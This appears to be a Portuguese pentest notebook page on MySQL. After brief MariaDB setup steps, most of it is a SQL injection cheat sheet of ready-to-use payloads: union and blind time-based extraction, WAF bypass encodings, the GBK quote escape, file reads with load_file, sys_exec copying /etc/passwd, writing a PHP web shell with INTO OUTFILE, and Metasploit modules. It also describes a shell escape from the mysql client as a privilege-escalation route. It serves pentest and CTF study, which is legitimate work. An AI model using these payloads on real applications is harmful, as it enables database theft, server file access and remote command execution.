# MySQL

{% hint style="success" %}
**DICA:** Se estiver logado no mysql via terminal e quiser utilizar o terminal do SO com as mesmas autenticações do MySQL, basta utilizar o comando: `\! sh`. Caso o MySQL estiver sendo executado como root, isso acaba se tornando um fácil PrivEsc.
{% endhint %}

### Obtendo Informações Sobre o MySQL

| QUERY                                         | DESCRIÇÃO                                   |
| --------------------------------------------- | ------------------------------------------- |
| `SELECT @@hostname`                           | Nome do host                                |
| `SELECT @@version`                            | Versão do MySQL e do SO                     |
| `SELECT version()`                            | Versão do MySQL e do SO                     |
| `SELECT @@datdir`                             | Local onde o MySQL está instalado           |
| `SELECT system_user()`                        | Usuário do sistema                          |
| `SELECT current_user()`                       | Usuário que está executando os comandos     |
| `SELECT user()`                               | Usuário que está executando os comandos     |
| `SELECT user, password, host FROM mysql.user` | Vendo todos os usuarios do DB               |
| `SELECT database()`                           | Nome do Banco de Dados está sendo utilizado |
| `SHOW VARIABLES`                              | Mostra as variáveis do MySQL                |

### Instalando MariaDB + Criação de Usuário + Acesso Externo

Instale o MariaDB (Altere a versão caso precise)

```bash
sudo apt install mariadb-server-10.5 mariadb-client-10.5
sudo service mariadb start
```

Acesse o Banco de Dados

```bash
mysql -u root -p
```

Altere a senha do usuário root

```bash
ALTER USER 'root'@'localhost' IDENTIFIED BY '<new_password>';
```

Crie um novo database com uma tabela

```bash
CREATE DATABASE <database>;
USE <database>;
CREATE TABLE <table> (<column> VARCHAR(2000));
```

Crie um novo usuário do MariaDB

```bash
CREATE USER '<user>'@'<ip_access_external>' IDENTIFIED BY '<new_password>';
```

Dê permissão ao novo usuário para determinada IP

```bash
GRANT ALL PRIVILEGES ON <database>.* TO '<user>'@'<ip_access_external>'; 
FLUSH PRIVILEGES;
```

Libere acesso na porta 3306 através do firewall

```bash
ufw allow from <ip_access_external> to any port 3306
```

Edita o arquivo de configuração (`/etc/mysql/mariadb.conf.d/50-server.cnf`), e altere a linha `#bind-address = 127.0.0.1` para `bind-address = 0.0.0.0`. Se preferir, utilize o IP da interface de rede ao invés de `0.0.0.0`.

Reinicie o MariaDB e já está pronto para acessar.

```bash
sudo service mariadb restart
```

### Order By

Com o comando `order by`, podemos saber quantas colunas o banco de dados está retornando

```http
http://<site>/photo.php?id=1 order by 1
http://<site>/photo.php?id=1 order by 1,2,3
```

Nos dois exemplos acima, basta ir aumentando o número do `order by` até dar erro. Quando der erro, significa que o valor anterior é a quantidade de colunas retornada na query

###

### Union

Agora que já sabemos a quantidade de colunas utilizando o comando `order by`, vamos fazer um `union`

```http
http://<site>/photo.php?id=1 union select 1,2,3,4,5,6,7,8,9
```

**OBS.:** Também podemos utilizar o `union` para saber a quantidade de colunas baseada em erros, assim como no `order by`.

{% hint style="info" %}
**NOTA:** Isso funciona para o MySQL, a metodologia é diferente para outros bancos de dados, os valores **`1,2,3,...`** devem ser alterados para **`null,null,null...`** para o banco de dados que precisa do mesmo tipo de valor nos 2 lados (SELECT inicial e SELECT do UNION). No Oracle é obrigado a usar o FROM, quando o SELECT for utilizado.
{% endhint %}

### Limit

As vezes podemos usar algum payload de forma que a query nos retorne todos os dados, porém nosso amigo programador limitou esse resultado para pegar apenas 1 registro, usando a linguagem de programação da aplicação ao invés de usar o `limit` do MySQL. Para esse cenário, devemos utilizar a seguinte técnica para nos trazer apenas 1 registro de cada vez, porém percorrendo todas as linhas de uma determinar tabela, enviando uma requisição para cada registro.

```bash
# Retornando apenas o primeiro registro da tabela
' or '1'='1' LIMIT 1,1

# Retornando apenas o segundo registro da tabela
' or '1'='1' LIMIT 2,1

# Retornando apenas o terceiro registro da tabela
' or '1'='1' LIMIT 3,1
```

### SQL Blind

#### Verificando tamanho do nome dos Databases

Altere a quantidade no final do payload abaixo, até encontrar o valor correto.

```bash
LENGTH((SELECT DISTINCT(table_schema) FROM information_schema.tables LIMIT 1,1)) = <length>
```

{% hint style="info" %}
**IMPORTANTE:** Estamos utilizando o **`LIMIT 1,1`**, isso significa que só irá retornar o primeiro database. Depois de achar o valor correto, filtre pelo segundo database, modificando para **`LIMIT 2,1`** e assim sucessivamente. Utilize isso para dar continuidade nas verificações abaixo.
{% endhint %}

#### Buscando nomes de Databases

Podemos realizar um injection para verificar se existe algum database no banco de dados que comece uma determinada letra. Tente a letra "a", caso seja false, tente a letra "b", e assim sucessivamente,a até encontrar uma letra que retorne true.

```bash
SUBSTRING((SELECT DISTINCT(table_schema) FROM information_schema.tables LIMIT 1,1),1,1) = '<primeira_letra>'
```

Depois de encontrar a primeira letra do nome do database, vamos procurar pela segunda letra e assim por diante, até mapearmos o nome do database. Atente-se que os databases também pode conter números, underlines, etc, então não se limite a apenas testes com letras.

```bash
SUBSTRING((SELECT DISTINCT(table_schema) FROM information_schema.tables LIMIT 1,1),1,2) = '<primeira_letra><segunda_letra>'
```

#### Buscando nomes de Tabelas

Aqui estamos utilizando o `database()`, que serve para utilizarmos como base, o database que está conectado no momento, então altere esse valor caso queira procurar tabelas de outro database.

```bash
SUBSTRING((SELECT DISTINCT(table_name) FROM information_schema.tables WHERE table_schema = database() LIMIT 1,1),1,1) = '<primeira_letra>' 
SUBSTRING((SELECT DISTINCT(table_name) FROM information_schema.tables WHERE table_schema = database() LIMIT 1,1),1,2) = '<primeira_letra><segunda_letra>' 
```

#### Buscando nomes de Colunas

```bash
SUBSTRING((SELECT DISTINCT(column_name) FROM information_schema.columns WHERE table_schema = database() and table_name = '<tabela>' LIMIT 1,1),1,1) = '<primeira_letra>'
```

#### Buscando valores de uma Coluna

```bash
SUBSTRING((SELECT DISTINCT(<coluna>) FROM <tabela> LIMIT 1,1),1,1) = '<primeira_letra>'
```

#### Sleep

Utilize o `sleep` e verifique se ele é processado, ou seja, se apresenta delay na resposta. Caso seja, significa que o alvo está vulnerável a SQL Injection Blind. Obviamente o `sleep` não é exclusivo para Blind, porém aqui se torna mais útil, já que no SQL Blind não tem um retorno tão rico de informações.&#x20;

```http
http://<site>/photo.php?id=1 or sleep(5)
```

Caso confirme a existência da vulnerabilidade, podemos fazer queries para validar a existência de dados.

```bash
OR (SELECT sleep(5) FROM information_schema.tables WHERE table_schemalike '<primeira_letra>%') = 1 -- 

OR IF((SELECT MID(<column>,1,1) FROM <tabela> LIMIT 1,1) = '<primeira_letra>', sleep(5), sleep(1)) -- 

OR (LENGTH((SELECT DISTINCT(table_schema) FROM information_schema.tables LIMIT 1,1)) = <length> AND sleep(5))
```

### Bypass em Espaços

Quando o alvo estiver barrando espaços, utilize `/**/` ou `%20` no lugar do espaço, exemplo:

```sql
SELECT/**/*/**/FROM/**/<table>
1'%20or%20'1'='1
```

Também podemos usar uma tabulação (`HT` ou `\t`) para fazer bypass em espaço.

```bash
x'%09or%091%3D1%09--%09
```

{% hint style="info" %}
**DICA:** Para queries simples como **`admin'or'1'='1`**, não precisa de colocar espaços
{% endhint %}

###

### Bypass em Where

O valor de `<table>` abaixo deve ser sempre o mesmo, pois estamos fazendo um `join` com a mesma tabela e jogando a condição em seguida, substituindo assim a utilização do `where`

```sql
select <alias_table1>.<column> from <table> <alias_table1> join <table> on <alias_table1>.<column> = '<where_condition>'
```

###

### Bypass em Vírgulas

Caso o WAF não permita que digite vírgula(s), utilize o seguinte padrão:

```sql
SELECT * FROM (SELECT 'teste1')a JOIN(SELECT 'teste2')b JOIN(SELECT 'teste3')c
```

###

### Bypass em information\_schema

```sql
information_schema/**/./**/tables
`information_schema`.`tables`
`information_schema`/**/./**/`tables`  
```

### Bypass com Encode

```bash
# 1' or '1'='1
\u0031\u0027 \u006f\u0072 \u0027\u0031\u0027\u003d\u0027\u0031

# union select 1,2,3
+/*!u%6eion*/+/*!se%6cect*/+1,2,3
```

### Injection em Comentários

Em casos raros na vida real (porém prováveis em CTF), nossos parâmetros (GET ou POST) podem ficar dentros comentários de SQL (`/* <param> */`). É possível realizar um bypass utilizando o `!`, deixando o código final no seguinte formato:

```sql
SELECT * FROM <tabela> WHERE id = /*! <injection> */
```

###

### Comandos Úteis de MySQL

As vezes os comandos abaixo podem não retornar nada ou retornar erro caso esteja utilizando um `union`, então se possível deixe os comandos abaixo como um subselect, exemplo: `<query_vuln> union all select null, null,(<query_abaixo>) from <table>`

Retornando o nome de todos os databases

```sql
select group_concat(table_schema) from information_schema.tables
```

Retornando o nome de todas as tabelas, separadas por vírgula

```sql
select group_concat(table_name) from information_schema.tables where table_schema=database()
```

Retornando o nome de todas as colunas de uma determinada tabela, separadas por vírgula

```sql
 select group_concat(column_name) from information_schema.columns where table_name='<nome_tabela>'
```

Retornando os valores de uma determinada coluna

```sql
select group_concat(<column>) from <table>
```

Lê o conteúdo de determinado arquivo.

```sql
select load_file('<file>')
```

**OBS.:** Caso não consiga utilizar o comando acima, execute o comando `SHOW VARIABLES LIKE "secure_file_priv"` para verificar se o módulo de segurança está habilitado.

Outra maneira de lermos arquivo, é utilizando o seguinte comando:

```bash
CREATE TABLE <table> (<column> TEXT);
LOAD DATA LOCAL INFILE '<file>' INTO TABLE <table> FIELDS TERMINATED BY '\n';
```

{% hint style="info" %}
Caso não tenha êxito no comando, acesse o mysql com o seguinte comando: **`mysql -u <user> -p --enable-local-infile -h <host>`**
{% endhint %}

Executa um comando no shell e salva em um arquivo

```sql
select sys_exec('cat /etc/passwd > /tmp/passwd && chmod 777 /tmp/passwd')
# ou
select sys_eval('cat /etc/passwd > /tmp/passwd && chmod 777 /tmp/passwd')
```

**OBS.:** Se nenhum dos dois comando acima funcionar, pode usar o `UDF (User Defined Function)`

Grava um Shell PHP no diretório do apache.

```sql
select '<?php echo shell_exec($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'
```

{% hint style="success" %}
**OBS.:** Quando for usar o **`INTO OUTFILE`**, utilize sempre o **`/`** para indicar o caminho absoluto do arquivo que irá salvar, mesmo que o alvo seja um Windows. O mesmo vale para **load\_file**.
{% endhint %}

Lista os usuários do banco e se tem permissão de escrita (Y).\
**OBS.:** O `0x3a` serve somente para colocar um : (dois pontos) entre o nome do usuário e a permissão que está atribuída.

```sql
select group_concat(user,0x3a,file_priv) from mysql.user
```

Também podemos automatizar a permissão deescrita utilizando o Metasploit, porém é preciso ter as credenciais de acesso.

```bash
msfconsole -q
use auxiliary/scanner/mysql/mysql_writable_dirs
set RHOSTS <ip>
set DIR_LIST <wordlist.txt>
set VERBOSE true
exploit
```

Também podemos descobrir se determinados arquivos existem no servidor.

```bash
msfconsole -q
use auxiliary/scanner/mysql/mysql_file_enum
set RHOSTS <ip>
set FILE_LIST <wordlist.txt>
exploit
```

Conecta no banco e executa uma query, sem ficar no modo interativo.

```sql
mysql -u <user> -p<senha> -D <database> -e "<query>"
```

{% hint style="warning" %}
**ATENÇÃO:** Atente-se ao **`p`** antes da senha, não coloque espaço entre eles.
{% endhint %}

Criando um novo usuário no MySql (esteja conectado no MySQL antes):

```sql
CREATE USER '<novo_usuario>'@'localhost' IDENTIFIED BY '<nova_senha>';
GRANT ALL PRIVILEGES ON *.* TO '<novo_usuario>'@'localhost' WITH GRANT OPTION;
FLUSH PRIVILEGES;
```

Fazendo Dump e Restore

```sql
# Realiza DUMP
sudo mysqldump -u root -h localhost <database> > <arquivo.sql>
# Restora o Database
sudo mysql -u root -h localhost <database> < <arquivo.sql>
```

###

### GBK

GBK é um conjunto de caracteres chineses simplificados, que podem ser utilizados como aspas simples em um injection, caso o driver do banco de dados do alvo não "fale" o mesmo tipo de caracteres (CHARSET).

Usando a string  `\xBF'` (que pode  ser codificada em URL como `%bf%27`), é possível obter um escape.&#x20;

```bash
admin%bf%27 or 1=1 --
```

{% hint style="info" %}
**NOTA:** Essa descoberta foi feita em 2006, então vai ser muito raro encontrar esse tipo de situações, porém pode ser útil em CTF's.
{% endhint %}

####

#### Sites

```bash
# Falhas de MSSQL Server
http://www.sqlsecurity.com  

# Comando úteis para MSSQL
http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet
https://www.w3resource.com/slides/mysql-string-functions.php  

# Conversão de payload com alguns encodes
https://www.branah.com/unicode-converter

# Configurando o MySQL para acessar externamente
https://www.cyberciti.biz/tips/how-do-i-enable-remote-access-to-mysql-database-server.html

# Macetes
https://pt.slideshare.net/AvinashThapa2/waf-bypassing-techniques

# Guia para fazer ByPass em Firewall  
http://securityidiots.com/Web-Pentest/WAF-Bypass/waf-bypass-guide-part-1.html
```
